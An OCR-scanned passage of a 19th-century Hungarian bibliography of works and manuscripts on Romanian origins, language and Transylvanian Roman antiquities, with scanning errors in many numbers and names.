sr. — 1—15.1.
49. K.(opitar). Albanische, walachische und bulgarische Sprache. - L.
Jahrbucher der Literatur (Wien) XLV1. k. | 1829) 59- 106. 1.
50. Kurz ' Anton — ,. Waleb és Walach. — L. Km:. Mayazin fiir Geschichte,
Literatur und allé Denk- und Merkwürdigkeiten Siebenbürgene Kron-
stadt) II. k. 1 1846) 250—251.1. (Miseellen, a) Geschichtlichi
— — L. még: Schott 83. se., Vaillant 103. sz.
51. Laurianu > J. Trebotúu — ). Tentamen criticum in originem, derivatio-
nem et fórmam linguae Romanae in utraque Dacia viurentis vulgo
Valachicae. Vienna, 1840. 8r., főleg: IX— LVIII. 1.
52. — Brevis conspectus históriáé Ronianoruni in utraque Dacia degen-
tium. Hilariopolis in Dacia Inferiore (Bukaresl 1846. 8r. —
3—16.1.
53. — Coup d'oeil sur l'lnstoire des Roumains. Bucarest, lsí<i. sr.
54. Schneller Ueberblick der Geschichte der Románén. Bukuresti, 1846.
8r. - 3— 28. 1. (Ismertetése: Archív des Véreim für si-ebenbüryische
Landeskunde Hermannstadt IV. k., 2. f. 1851 73— 85. 1. Bücher-
schaH] ).
55. — Istoria Romaniloru. Bucuresci, 1862. 8r., második kiadás.
56. — Elemente de istori'a Romaniloru pentru scolele poporale. Sibiiu,
IsTI.Sr. — 1—13.1.
r>7. Leake William Martin-- ). Researches in Greece. London, 181 í. ír.
363 — 102. 1. (Of the wallachian and bulgarian languages), fóleg :
364, 367, 382. 1.
LO
148 V., Major— Murgu, 58—66.
M.
r>s. Major (Petru — ). Istoria pentru inceputulu Romániloru in Daci'a.
Buda, 1812. 4r., s Buda, 18:56. 4r. ; és u. a. mű 302—340. 1. Major
értekezése a román (oláh) nyelv eredetéről.
5í>. — Istoria besericei Ronianiloru atátu a celoru din coce, precum sí a
celoru din colo de Dunare. Buda, 1813. 4r., főleg : 1 — 9. 1.
00. Maniu ( /lasiliu. — ). Bespunsu la brosiur'a d-lui protopresviteru Mel.
Dregici intitulata «Care suntu literile romane ?». Timisiora, 1856.
8r., elszórva, főleg: 13—23, 42. 1.
01. — Disertatiune istorica-critica si literara tractanda despre originea Ro-
maniloru din Dacia-Trajana. Timisiora, 1857-1858. 8r. — - I. Partea
istorica, 1 — 3. f.
62. Marienburg (Fr. — ). Ueber die magyarisclien Elemente in der romá-
nischen Sprache. — L. Korrespoudenzblatt des Vereines fúr siebenbür-
yisehe Landeskunde (Hermannstadt) I. (1878) évf., 10. sz., 111. 1.
(Sektionssitzungen des Vereines für sieb. Landeskunde, abgebalten
zu Sehássburg am 24. August 1878).
03. Miklosich ( Franz — ). Die slaviscben Elemente im Bumunischen. —
L. Denkschriften der kaiserlichen Akademie der Wissenschaften (Wien).
Phil.-hist. Classe, XII. k. (1862) 1 — 70. 1. Lenyomata u. a. czim alatt,
u. o.,1861. ér. (Ismertette: Schuller 88. sz. ; Budenz József, Nyelv-
tudományi Közlemények [Pest] II. k. [1863] 468—476. 1.)
64. Miksa ( György). Az oláhok eredetéről és polgári állásáról. Megjegyzé-
sek Szabó Benő hasoncímü munkájára. Gy.(ula)-Fehérvár, 1870. 8r.,
főleg : 3 — 33. 1. — L. Szabó Benő (M. sz.
— Moldovanu (Joane M. — ). L. Pope'a 71. sz.
65. — Spicuire in istori'a baserecesca a Romaniloru, respunsu la Contra-
critie'a domnului N. Popea. Blasiu, 1873. 8r., főleg: 40 — 70. 1.
(L. Pope'a 72. sz.
00. Murgu f F. — ). Wiederlegung der Abhandlung, welche unterdem Titel
vorkömmt : Erweis, dasz die Wallachen nicht römischer Abkunft
sind, und diesz nicht aus ihrer italienisch-slavischen Sprache folgt.
Mit mehreren Grundén vermehrt, und in die walachische Sprache
iibersetzt durch S. T. in Ofen 1S27 ; und Beweis, dasz die Walachen
V.. Mussafia— Fopu, 67—73. 1 19
der Römer anbezweifelte Nachkömmlinge sind. Ofen, 1830. Sr.
(L. Erweis 2 í. sz., s v. ö. Bozsinka <i. sz.)
67. Mussafia i A. — ). Zur rumánischen Yocalisation. — L. Sitzunysberichte
der phü.-hist. Classe der kaiserlichen Akademie der Wissenschaften
Wien) LYIII. k. (1868) 125—154. 1.
68. Papiu i A. — Harianu ). Yieti*a operele si ideele lui Georgiu Sincai din
Sinc'a. Bucuresci, 1869. 8r., elszórva. (Bírálta : Hunfalvy 40. sz. ;
I. Sincai 96. sz.)
— Pauler {Gyula). L. Roesler 77. sz.
0V*. Petrescu ( I. D. — ). Mitropoliele tierrei. Bucuresci, 1870. 8r. — 1 — 39. 1.,
elszórva.
70. Phleps ( P. Fridericus — ). De Yalachorum origine dissertatio. Cibinii,
1829. 8r. (Ismertette: gróf Kemény József, Tudományos Gyűjtemény
Test] 1830. évf., III. k., 97—1 1 1. I.)
71. Pope'a f Xicolau — ). Yeclii'a metropolia ortodosa romána a Transil-
vaniei, suprimerea si restaurarea ei. Sabiniu, 1870. 8r., főleg: 39 —
51. 1. (Bírálta: J. 31. Moldovanu következő czím alatt: « Yeclii'a
Metropolia de N. Pope'a* , 1. Cipariu, Archivu pentru filológia si istoria
[Blasiu] 1870. évf., XXXY. sz., 700—702. 1.; XXXYII. sz.. 739—
1U. 1.: XXXYIII. sz., 75N— 759. 1. -- 1870-1. évf.. XXXIX. sz..
7S0— 783. 1. — 1871-2. évf., XL. sz., 791—792. 1. ; Pope'a válaszát
e bírálatra 1. a következő szám alatt.)
72. — Contr'a-critica la critic'a dlui J. M. Moldovanu (Vechi'a Metro-
polia de N. Pope'a). — L. Télegrafulu Honianu (Sabiiu) 1873. (XXI.)
évf., 6 — 18. sz. (tárcza), elszórva, főleg: 14, 15, 16, I 7. sz. Lenyo-
mata a. a. czím alatt. n. <*., */. a. 8r. (Moldovanu érintett bírálatát 1. az
előbbi szám alatt : válaszát pedig Pope'a e czáfolatánt 1. Moldovanu
05. sz.)
73. Popu (Gavrielu — ). Geografi'a Banatulni si cunoscintie istorice, si
etnografice despre locuitorii Banatului. Lugosiu. 1864. 8r. — 10-
II, 30—36.1.
150 V., Roesler -Schmidt, 74—82.
R.
74. Roesler ( /•.'. Bobért — ). Die griechiscben und türkischen Bestandtheile
im Románisehen. - L. Sitzungsberichte der phil.-hist. Classe der kai-
serlichen Akademie der Wissenschaften (AVien) L. k. (1865) 559 — 612. 1.
Lenyomata //. a. re//// alatt, u. <>., //. a. 8r.
75. — Dacier und Románén. Eine geschichtliclie Studie. — L. Sitzungs-
berichte der phil.-hist. Classe der kaiserlichen Akademie <ler Wissenschqf-
ten (Wien) LIII. k. (1866) 9 — 92. 1. Lenyomata //. a. czím alatt, u. o.,
a. a. 8r.
76. — Die Anfánge dea walachischen Fürstentliums. — L. Zeitschrift für
die österreichischen Gymnasien (Wien) XV1LL k. (1867) 393 — 432.1.
Lenyomata //. a. czím alatt, //. <>., u.a. 8r. (Ismertette : Hunfal vy Pál
37. sz.)
77. — Románische Studien. Untersuchungen zur alteren Geschichte Romá-
niens. Leipzig, 1871. 8r. (Ismertette : Pauier Gyula, 1. Századok, a
magyar történelmi társulat közlönye [Pest] VI. k. [1872] 260 —
265. 1. ; Dümmler, 1. Sybel, Historische Zeitschrift [München] XXVII. k.
[1872] 475 — 479.1.; Tomaschek, 1. Zeitschrift für die österreichischen
Gymnasien Wien XXIII. k. [1872] 141 — 157. 1.)
78. — Ueber den Zeitpunkt der slavischen Ansiedlung an der unteren
Donau. - - L. Sitzungsberichte der phil.-hist. Classe der kaiserlichen
Akademie der Wissenschaften (Wien) LXXIII. k. (1873) 77—126. 1.
79. — Einiges über das Thrakische. — L. Zeitschrift für die österreichi-
schen Gymnasien (Wien) XXIV. k. (1873) 105—116. 1.
80. Rosa ( a. ( '.sí. — ). Untersuchungen über die Romanier oder sogenann-
ten Wlachen, welche jenseits der Donau wohnen. Pest, 1808. 8r.
s.
81. Sándor f István ). Az oláhokról. — L. Sándor, Sokfele I. d. (Győr, 1806)
10—11. 1. — VII. d. (Győr, 1801) 1 12—1 14. 1. — X. d. (Bécs, 1808)
123—124.1., I66.sz.; 141— 143.1., 185. sz.; 169— 170. 171. 1., 207. sz.
— XII. d. (Bécs, 1808) 210—219. 1.
82. Schmidt ( Vilmos). A szláv elem a rumun vagy oláh nyelvben. —
V., Schott— Seulescu, 83-93. 151
L. .1; erdélyi múzeum-egylet évkönyvei (Kolozsvár) IV. k. (1K68)
18 -19. 1.
83. Schott (Arthur und Albert ). Waláchische Máhrchen. Mit cinci- Ein-
lcitung über das Volk der Walachen. Stuttgart und Tübingen, 1845.
8r. — 3 — 56. 1. (Ismertette : Kurz Antal, 1. Kurz, Mayazin für G-e-
schichte, Literatur, und allé Denk- und Merkwürdigkeiten Si.
bürgens [Kronstadt] I. k. 1844 140.1.)
84. Schuller (Johann Carl — ). Epicrisis argumentorum pro latinitate lin-
gnae Valacbicae seu Rumunae. Cibinii, 1831. sr.
No. — Entwickelung der wichtigsten Grundsátze für die Erforscliung der
rumunischen oder walachischen Sprache. — L. Archív de* Véreim
für aiebenbürpische Landeskunde (Hermannstadt) I. k., 1. f. (1845
67—108.1.
86. — Zur Frage über den Urspriuig der Románén u. ihrer Sprache. Her-
mannstadt, 1855. Sr.
87. — Ueber einige merkwürdige Volkssagen der Románén. Hermannstadt,
1857. sr.
88. — Zur Frage über den Ursprung der Románén und ihrer Sprache. —
L. Bielz, Transsilvania, Wochenschrift für siebenbürgische Landes-
kunde, Literatur und Landeskultur (Hermannstadt) N. F. II. évf.
(1862) 97 — 99. 1. (Miklosich 63. bz. miivének ismertetése).
S9. Schwicker (Johann Heinrich — j. Zur Frage über die Herkunft der
Rumiinen. — L. Beilaye zur Allgemeinen Zeitung (Augsburg) 1876.
évf., 33S. sz., 5157—5159. 1.
90. — Ueber die Herkunft der Rumiinen. — L. Helhrald, Das Ausland,
Ueberschau der neuesten Forschungen auf dem Gebiete der Natúr-.
Erd- und Yölkerkunde ( Stuttgart) 1877. (L.) évf., 39. sz.. 761—768. 1.
91. Seulescu (K. G. — ). Privire asupra starei politice, religiose, literare si
legislative a terilor cuprinse in Dacia din invechime pene astezi. —
L. Archiva Albinéi pentru archeologie rumint si industrie (Jasii) 1844.
évf., 1. sz., 1—2, 1.
92. — Chronologia celor mai interesante date istorice de la discelecarea
colonilor romine. — L. Archiva Albinéi pentrit archeologie roniine si
industrie (Jasii) lS4i. évf., 2. sz., 5— S. 1.
93. — Privirea geografice si statistkv asupra cerilor colonizate de romani
in peninsula carpatico-emice. — L. Archiva Albinéi pentru archeologie
romine si industrie (Jasii) lsí.|. évf., 3. sz., 10 — 12. 1.
152 "V., Seulescu— Tomaschek, 94—102.
94. — Despre numele etnic al daco-rominlor lecuitori in Dacii. — L. Ar-
cliira Albinéi pentru archeologie romine si industrie (Jasii) 1844. évf.,
3.sz., 12—14.1.
95. Siaguna ( Andreiu báron — ). Istoria bisericei ortodocse reseritene uni-
versale, clela intemeierea ei, pene in zilele noastre. Sibiiu, 1800. 8r.,
főleg: II. k., 55—63. 1.
96. Sincai (Georgie — ). Chronic'a Romaniloru. Jasii, 1853. 4r. 3 kötet;
elszórva, főleg : I. k., 1 — 57. 1. (Bírálta: Hunfalvy Pál 40. sz., 1. Papiu
68. sz.)
- L. még : Klein 47. sz.
Sz.
'•7. Szabó ' Benő). Az oláhok eredetéről és polgári állásukról. Győr, 1865.
8r. (Szabó e müvére megjegyzéseket tett Miksa György fii. sz.)
98. Szabó (György). Az oláh nemzet eredete.— L. Nemzeti Társalkodó
(Kolozsvár) 1830. évf., 40. sz., 313— 319. 1. ; 41. sz., 321—327.1.;
12. sz., 329—335. 1. (Bírálta : Zeyk János 106. sz.)
T.
99. Thalson (Dionys — ). Die "Walachen. — L. Blatterfur Geist, Gemüth
und \ 'aterlandskunde (Kronstadt) 1842. évf.. 45. sz., 327—329. 1. ;
16. sz.. 341—342. 1. ; 47. sz., 344—346. 1.
100. Thunmann f M. Johann — ). Untersuchungen über die Geschichte der
östlichen europáischen Völker. Leipzig, 1774. 8r. — I. r., elszórva,
főleg : Über die Geschichte und Sprache der Albaner und der
Wlachen, (71—366. 1.
101. Tomaschek (Wilhélm — ). Über Brumalia und Rosalia, nebst Be-
merkungen über den bessischen Yolkstamm. — L. Sitzungsberichte
der phil.-hist. Ciasse der kaiserlichen Akademie der Wissenschaften
(Wien) LX. k. | 1868) 351—404. 1., elszórva.
102. — Zur walachischen Frage. -- L. Zeitschrift J'iir die österreichischen
Gymnaden (Wien) XXVII. k. | 1876) 342—346. 1.
— — L. még : Roesler 77. sz.
V.. Vaillant-Zeyk. 103-106. [53
V.
103. Vaillant ./. A. - . La Romanie ou histoire, langue, littérature,
orographie, statistique des peuples de la langue d'or, ardialiens,
vallaques et moldaves, résumés sous le nom de romans. Paris,
1844. 8r., :: kötet. — I. k., 17-01.1. -- III. k., 103- 155, 342,
í-21 — íL2-2. 1. (Ismertette: Kurz Antal, 1. Kurz, Magazin für Ge-
schichte, Literatur und allé Denk- und Merkwürdigkeiterj Sieben-
bürgena [Kronstadt] I. k. [ 1 8 í í '. : 19— í 10. 1. )
104. Verancsics ( Antal). De situ Transsylvaniáé, Moldáviáé et Transal-
pinae. — L. Verancsics Antal összes munkái (Magyar történeti emlé-
kek [Monumenta Hungáriáé historica . Második osztály. írók, II. k.)
Pest. 1857. 8r. — I. k.. 1 10—151. 1.. elszórva.
w.
105. Weisbach ■ A. — ). Die Scbádelform der Rumanen. — L. Denkschriften
der kaiserlichen Akademie der Wissenschaften (Wien) Mathematisch-
naturwissenschaftlichi Classc, XXX. k. | 18701 107—1:50. 1.
z.
106. Zeyk (János. Zeykfalvi idősb - . Az oláhok eredetéről írt értekezésre
iX. T. í-0. 11. 42. szám) rövid megjegyzések. — L. Nemzeti Társalkodó
(Kolozsvár) 1830. évf., 50. sz., 396—398. 1. : 51. sz., K)l— 403. 1
i Szabó Györyíj 98. */.. müvének bírálata).
VT. RÉSZ
KÉZÍRATOK.
1—103. xzúm.
PAES VI.
MANf SCR1PTA.
Xuni. 1—103.
A.
1. Ackner (Michael Jókaim — ). Levele Kurz Antalhoz (1848) és gróf
Kemény Józsefhez (1850). — Az erdélyi múzeum kézirattárában Kolozs-
várt. (Gróf Kemény József: Miscellanea, Eruditae correspondentiae,
R. XVIII. k.)
2. Die Gesellschaft der Alterthumskunde Siebenbürgens. — Egy ívnyi
ívr. tervezet. Az erdélyi múzeum kézirattárában (Gróf Kemény József:
Chartophylacium Transilvanicum, T. H. 18. i
3. Ariosti f ' 'onte Giuseppe — ). Iscrizioni antiche, trovate e raccolte tra le
rovine delle quattro principali colonie Eomane della Transilvania
dal conte Gioseppe Ariosti Nobile Bolognese, Ferrarese e Senese,
Capitano dTnfanteria nel reggimento Gaier, et parte di esse dal
medesimo' condotte in Vienna d'Austria per coinando delin sacra
Cesarea Cattol. Reál Maestá di Carlo VI Irnperatore de Romani.
L'anno MDCCXXIII. 4r. kézírat. — Nyolcz lapnyi előszó után követ-
kezik: Parte I. Iscrizioni condotte a Vienna (47 lap ugyanannyi rajz-
zal és a lelhelyek megjelölésével); Parte 11. Iscrizioni restaü som
inerse nel Tibisco « Segedino (17 lap ugyanannyi rajzzal és a leihelyek-
nek valamint azoknak a helységeknek megjelölésével, a hová e fel
iratos kövek vitettek, illetőleg a honnan elszállíttattak) : Parte Ifi.
Iscrizioni sperdute (52 lap ugyanannyi rajzzal, az Erdélyben maradt,
illetőleg elveszett római feliratos kövekről). .1 cs.és kir. érem- és régi-
ségtár könyvtárában Bécsben. E kézírat többi példányainak hollétét 1.
Corpus Tnscriptionum Latinarum (Berolini, 1S7:1) III. k.. I. r.. 157. 1..
XYI sz. ; és Kaiserl. Akad mit der Wissenschaften, Archív für öster-
reichüche Geschichte (Wien) XXXIX. k. (1868) 121. 1. (I. C. 1 1. sz.)
158 VI., Bardócz— Budai, 4—9.
B.
4. Bardócz ( Klek). Három levele gróf Kemény Józsefhez (1846 1847).
Az erdélyi múzeum kézirattárában. ('/'/•<</ Kemény József: Miscel-
lanea, R. 4. XII.)
5. Benkö ( Ferencz). Erdélyi régi római inscriptiók, írta kövekről — . I1 -•
ívnyi kézírat. ( Gróf Tholdalagi Victomál Koronkán).
(i. Benkö (Josephus — ). Transsilvania, sive Magnus Transsilvaniae Princi-
patus olim Dacia Mediterranea dictus. nunc multiiáriani ac strictim
illustratus. Pars posterior, seu speciális. — Két ívr. kötet. Az erdélyi
múzeum kézirattárában. (Gróf Kemény József: Collectio major manu-
scriptorum historicorum, T. A. 40, a.), elszórva.
7. Bolla (Martinus — ). Dissertatio de Yalachis qui Transylvaniam inco-
lunt : scripta instar responsionis ad Libellum supplicem cpiem
Aug. Imper. Leopoldo II. anno 170] Natio Valachica porrexit. —
— II. rész, 11.1. (Etiamsi concedatur Valachos ex Romanis ortos
esse, inde tamen nihil juris in Transylvaniam ad eos derivari potest).
ívr. kézírat. A gróf Teleki-féle könyvtárban Marosvásárhelyt, 1156. B.
— V. ö. V. rész, Eder 24. sz., Hunfalvy í~2. sz.
<S. — Kolozsvárt I 708-i februarius 1 8-án kelt levele Aranka Györgyhez, a
románok (oláhok) eredete felől. — Az erdélyi múzeum kézirattárában.
(Miké Sándor gyűjteménye: Különböző tudósok levelei <i \ I /// <■■•< A /A.
századból, X. k. 2. cs.)
— Brúz (Lajos). L. Fodor IS. sz.
'.*. Budai (Johannes — alias DeleanuJ. 1 ). De originibus populorum Transil-
vaniae commentatio cum notis et observationilms bistorico-criticis.
51, 2 ívnyi ívr. kézírat. — 2). De originibus populorum Daciae. Pars
secunda. De Thracibus, Dacis, Gretis et Slavenis. De originibus Si-
culorum. De originibus Saxonum. "21 ívnyi ívr. kézírat. — -i). De
Valachorum origine. 15 ívnyi (ívr.?) kézirat. 4). Mintegy 87 ívnyi
ívr. kézírat, Dacia lakosairól szóló értekezések. Papin Ilarianu
Sándor 1870-i április s/20-án Ciparinhoz írt levele szerint az egyetemi
könyvtárban Bukarestben. \\j. Cipariu, Archivupentru filológia si istoria
[Blasiu] 1870. évi'., XXXV. sz.. 703 704. 1. Notitie diverse] és
XXXVI. sz.. 7D7.1.)
VI., Claudiopolis— Csatári. 10 — 14. 159
c.
10. Descriptio civitatis Claudiopolis. Ab origine repetita. Cum inscriptioni-
Ims in moenibus et aliis notabilibus aedificiis undique conspicuis,
pro im^niento et varietate incolarum ac religionum, vicissitudinibua
fatorum, directione item politica, usque ad modernum statum eon-
tinuata et compendiose concinnata. Per deputatos pro hoc regotio
civitatis Claudiop., amplissimos dominos Paulum Páter, Steph. Pataki
seniorem., Paulum Gyergyai senatores, et Georgium Fűzéri juratum
civitatis notarium. A végén : « sincero lectori commendal el
offert MagÍ8tratus Claudiopolitanus Anno Domini 1734. d. 23. Junii».
Ivr. kézírat, I — 5. 1. .le erdélyi múzeum kézirattárában. (Gróf Ke-
mény József: Collectio major manuseriptorum historicorum, T. A. 22.,
1 1 . sz.) ; ezenkívül u. o. még három ír. másolat, kettő a múlt szá-
zadból, egyik pedií( a jelen század első feléből ; egykorú ívr. máso-
lata a báró Bruckenthal-féle könyvtárban Nagyszebenben, XXVIII.
(Magyar fordítását közölte Vass József következő czím alatt: « Emlék-
lapok Kolozsvár előkorából», Korunk [Kolozsvár 1864. évf., 135,
137. sz. ; és külön is u. a. czím alatt, Kolozsvár, 1865. 8r. f>. /. rész,
Vass 8 I 7. sz.)
I 1. Cornides (Dániel — ). Levele Benkő Józsefhez (Marosvásárhely, 1781.)
Sommersberg Frigyes Vilmos « Dacia antiqua» és « Collectio seriptorum
rerum Dacicarum » czímü műveire vonatkozólag. - Két ív. lap.
Az erdélyi múzeum kézirattárában. (Miké Sándor gyűjteménye: Külön-
böző' tudósok levelei a XVI11 és XIX. századból, X. k. 3. cs. )
12. Cserey (Farkas). Levele Aranka Györgyhez (1808) egy Sebesváralján
lelt római feliratos kő felől. -- Az erdélyi múzeum kézirattárában.
(Miké Sándor gyűjteménye : Különböző tudósok levelei a XVIJ1 és XIX.
századból, X. k. 2. cs.)
13. Csipkés ' Elek. Rákosi I. Torda nemes városának históriája, eredete,
változásai, törvényes és politiai admiiiistráltatásának rövid leírása.
- Eredeti ívr. kézírat. Az erdélyi múzeum kézirattárában. (Gróf Ke-
mény József : ( 'ollectio major manuseriptorum historicor um ,T. A.XSXJJI.,
lü. sz.) 1 — 8.1., 4r. másolata u.o. (Gróf Kemény József: Collectio
minin- manuseriptorum historicorum, T. XVII., 5. sz.) I 12. 1.
14. Cs. atári • ./. úno* ). Chorographia M. Principatus Transiluaniae
160 VI., Csatári— Fodor, 15—19.
min antiquis Bomanoram inscriptionibus ibidem repertis, e proba-
tissimis scriptoribus concinnata a Debrecino-Ripensi-Daco. -- L.
Weszprémi, Succincta meclicorum Hungáriáé et Transilvaniae biogra-
phia. Lipsiae et Viennae, 1774 — 17S7. Sr. — - Centuria tertia <Tomus
IV. i 101. 1., 5) bz.
— — L. még : Kaprontzay :55. sz.
D.
— Deleanu. — L. Budai 9. sz.
15. Demeter (Dániel. Sz. — , maros-németii ev. ref. lelkész). Levele Kerekes
•JYuios. bethlen-szentmiklósi ev. ref. lelkészhez (1776), maros-németii
római régiségek felől. — Az erdélyi múzeum kézirattárában. (A gróf
Kemény József-féle archaeologiai convolutumban, U. i
F.
16. Felmer (Martinus — ). Breviárium históriáé Transylvaniae continens
aevum antiquum, médium et reeeutius a temporibus primis post
diluvium usque ad tempóra felicissimi regiminis Mariae Theresiae.
1767. — ír. kézírat. Az erdélyi múzeum kézirattárában. (Sectio II. Ip-
sam exbibens históriám antiquam).
17. — Kurtz gefaszte historische Nachricht von der wallachischen Völker-
schafft überhaupt und derienigen insonderheit die heut zu Tagé in
den kayserl. königl. Erbfürstenthum Siebenbürgen anzutreffen ist. —
4r. kézírat. egykorú másolat, 20 levél. A báréi Bruckenthal-féle könyv-
tárban Nagyszebenben, L. 6. (L. V. rész, 26. sz.)
18. Fodor (András. Lugosi — ). Kéziratai Erdély régiségeiről. Különböző
czímek alatt magyar és német nyelven fogalmazott dolgozatok 10
fogásban; Brűz Lajos 1 fogásnyi, hason tárgyú dolgozatai ; Fodor
gyűjteményéből 2 füzetnyi, római, barbár és másféle régiségeket fel-
tüntető rajztábla ; végül Neigebaur rajzai és jegyzetei hasonló régi-
ségekről, I fogásban. — Az erdélyi múzeum kézirattárában.
19. _ 16 darab levele gróf Kemény Józsefhez (1844—1853). Az erdélyi
VI., Gaall- Gyöngy össi, 20—23. 161
múzeum kézirattárában. (Gróf Kemény József: R. 4. XIII. i: I darab
levele Kurz Antalhoz (1847). /". o. fu. a. gyűjteményben: Varia ad-
liur segreganda \ Kurziana superflua i.
G.
'■20. Gaall 'Mikin*). Levele Aranka Györgyhez i 1795) Oltszemen talált ró-
mai régiségek felól. — Az erdélyi múzeum kézirattárában. (Miké Sándor
gyűjteménye: Különböző tudósok levelei a XVI II és XIX. századból,
X. k. 2. cs.)
21. Gerhard (Eduárd — ). Levele Neigebaurhoz (1846). - Az erdélyi mú-
zeum kézirattárában,. (Gróf Kemény József : Miscellanea, Eruditai cor-
respondentiae, R. XVIII.)
22. Gold f Arsenius — ). História Domus, seu residentiae Thordensia ordinis
minor. strict. observ. jussu a. r. p. Martini Péterffi ordnia minor.
strict. observ. praedctoris, sstae tlieol.ae lectoris. proae Trancae s. r.
Stepbani ministri provinciális. Ad inserendam rerum memóriám
incboata a° 1775. — A praeludium után: «Historia Domus seu
exordy, vicissitudinis, eventuum notabilium nobilis oppidi Tbordae,
inibique fixae residentiae nostrae, fratru minorum s. p. n. Fran-
cisci stri'c. observantiae, ad divum Hungarorum regem Ladislaum :
ac in periféria ejusdem rerum memória dignarum annotatio de man-
dato adm. rdi. ptris Martini Péterffi ordinis minor. strict. obsr.
praedicatoris, ssae tbeolae. lectoris, proae Trancae s. r. Steph. mini-
stri provinciális. Sub praesidentatu r. p. Alexandri Nagy ; industria
fris Arseny Gold ab exordio e cineribus eruta, et ad saeculi prae-
sentis annum I 77ti producta». — ívr. kézírat. Aferencziek kolostora
könyvtárában Tordán. — Caput 6tum, nro. 8., 30 — 33. 1. : és Caput
9num, nro. !».. 52. 1. (tordai és magyar-peterdi római régiségek éa
feliratos kövek.)
23. Gyöngyössi ( János). Levele Benkő Józsefbez | 1776), egyebek között a
tordai római várról. — Az erdélyi múzeum kézirattárában. (Miké Sándor
gyűjteménye : Különböző tudósok levelei a XVI11 és XIX. századból,
X. k. 3. cs.)
Repertórium.
II
162 VI.. Haner— Huszti, 24—30.
H.
:.' í-. Haner ( Georgius - ). Daciae antiquae et ecclesiarum Transsilvanicarum
história. — Szerző kézirata, az evang. superintendentia levél tárában
Nagyszebenben.
25. Henzen f Wilhelm — ). í darab levele Neigebaurhoz. — Az erdélyi >mi-
imm kézirattárában. {Gróf Kemény Józsefi Miscellanea, Eruditae cor-
respondentiae, R. XVIII.)
i'C). Hohenhausen (Silvius <le — ). Iconographia. (Daciái régiségek gyűjte-
ménye). — A bajor királyi könyvtárban Münchenben, Codex ohne
Signatur.
— — L. /. 'rész, 3 1 9. sz.
27. Huszti (András). Dacia Mediterranea, avagy Erdély országa, melyet
régi és első, közép, és mostani újabb lakosira s közönséges formá-
jára nézve rövideden leírt — , Kolozsvárt anno 1 734-, a 22. Mártii
usque ad diem 1. Junii. — ír. kézírat. 1857-ben Miké Sándor gyűjte-
ményében colt. 1 — 53. 1.
28. — Nemes Erdély országáról íratt históriája — , 1690-dik esztendeig. —
ír. kézírat, gyűjteményemben. Elszórva.
29. — Erdély országa, melynek régi és mái ábrázatytyát leírta — , Kolozs-
váratt 1737. esztendőben. — 4r. kézírat, gyűjteményemben. Elszórva.
30. — Dacia Mediterranea, id est : Transilvania vetus. Una cum suis ori-
ginibus, variarum in eam gentium successionibus, migrationilms.
mutationibus, antiquitatum Romanarum monumentis sacris, sanctis,
religiosis ex profanis magnificentiae Romani populi designandae
gratia marmoribus insculptis, ac fideli nostro penicillo delineatis,
consequentium denique gentium rebus bello praeclare gestis, ac
perenni memória dignis usque ad ingressum in Daciám Mediterra-
neam Gyulae, unius e septem principibus ad vindicandam Panno-
niam ex Sarmatia Asiatica egressis ducis Hungarorum, ordine decoro
di^esta, atque in lucem publicam orbi literario exposita, studio et
laboré — . Anno Domini MDCCXLIII. Incepta die 1. Octobris
Cibinii Transilvaniae et finita ibidem. A kézírat végén: «Absolui
opus A. 1714. die 28. Maji». — ívr. kézírat a múlt századból. Gróf
Kemény Sámuel adományából az erdélyi múzeum kézirattárában,
a Huszti-féle munkák "Duces Transilvaniae »> sarkirattal ellátott
VI., Huszti Kantemir, 34. 163
colligatumában. 1 VII. rész. (Huszti e müvének eredetije N".
az ev. hitit, gymnasium könyvtárában van).
31. - Dacia Mediterranea, idest: Transilvania vetus. A primis suis incu-
oabulis, usque ad seculum post nativitatem Christi Domini nonum,
historice dedncta. Ajitiquitatibus Indicis-Seythicis-Medicis-Geticis
illustrata : Vetustissimis Romanorum monumentis marmoribus
incisis exornata : Omnique elegantiarum ad quamlibet históriáé
universalis partém necessariarum apparatu adhibito elaborata. Stú-
dió et opera — . Szerző saját, ívr. kézirata, rajzokkal. Eleje hiány-
zik : a III. Caput-ból csak egy levél van meg, a XIV. Caput-ból pedig
csak három ; a kézírat a XXVII. számú várhelyi felirattal végződik.
l'gy látszik, hogy Huszti e müve képezte az előbbi szám alatt idé-
zettnek alapját. — Gróf Gyulai hajon adományából az erdélyi múzeum
kézirattárában. (Másolata a báró Bruckenthal-féle könyvtárban Nagy-
szebenben, VI.)
— — () és új Daciájának másolatait 1. 1. rész, 334. sz.
32. Inscriptio Graeca (várhelyi felírat). — Két 4r. levélnyi kézírat. A báró
Bruckenthal-féle könyvtárban Nagyszebenben, LII.
33. Jósa (György, Tordámegye alispánja). Levele Benkő Józsefhez (17S1)
«De rebus memorabilibus Transylvauiae et de origine ejus» czímü
müve felől, « melyben nagyobbára antiquitások foglaltatnak'). —
Az erdélyi múzeum kézirattárában. (Miké Sándor gyűjteménye : Külön'
bözö tudósok levelei a A VI II és XIX. századból, X. k. 3. cs.)
K.
'M. Kantemir ( Demetrius Fürst — /.Dacia ó- s újkori története. — Moldovai
nyelven írt kézírat a gör.-kath. seminarium könyvtárában Balázsfalván.
11*
164 VI., Kaprontzay— Kemény, 35 — 43.
(L. Engel, Geschichte des ungrischen Reichs und aeiner Nebenlán-
der, IV. k., I. r., 26 27. 1.)
X). Kaprontzay (Ádám, marosvásárhelyi könyvnyomdász). Levele Benkő
Józsefhez (1782), debreczeni Csatári Jánosnak a többek között kö-
vetkező' czímfí munkái felül: «Antiqua Romanorum numismata sub
nomine provinciáé Daciae cusa», «Methodus vei tabula scientiam
numismaticam traetans» és nScientia numismatica avagy pénzekről
való tudomány*. — Az erdélyi múzeum kézirattárában. { Miké Sándor
gyűjteménye : Különböző tudósok levelei a XVIII. és XIX. századból,
X. k. 3. cs.). — L. még: Csatári 14. sz.
36. Kemény ( t 'om.es Josephús — ). Inscriptiones monumentorum Romano-
rum, in Transilvania post editas 1773° per Joannem Seivert similes
inscriptiones, erutorum. Collectae, notisque historico-criticis illu-
stratae. — 71 í- és ívr. lapnyi sajátkezüleg tisztázott kézírat. Az er-
délyi múzeum kézirattárában. (Gróf Kemény József: Archaeologiai con-
volutum, I. : és u. o. e mű egy csomagnyi fogalmazványa, IX.)
37. — Monumenta lapidea coloniarum Romanarum in Dacia. — 1 1 fi 4 r.
lapnyi sajátkezű kézírat. Az erdélyi múzeum kézirattárában. (Gróf
Kemény József : Archaeologiai convolutum, II.)
3S. — Literáriscli-historische Kleinigkeiten. «LT. Ein Chronosticon in einer
altén römischen Steinschrift in Siebenbürgen» és «III. Bonus puer
posphorus*. — 3 4r. lapnyi sajátkezű kézírat. Az erdélyi múzeum
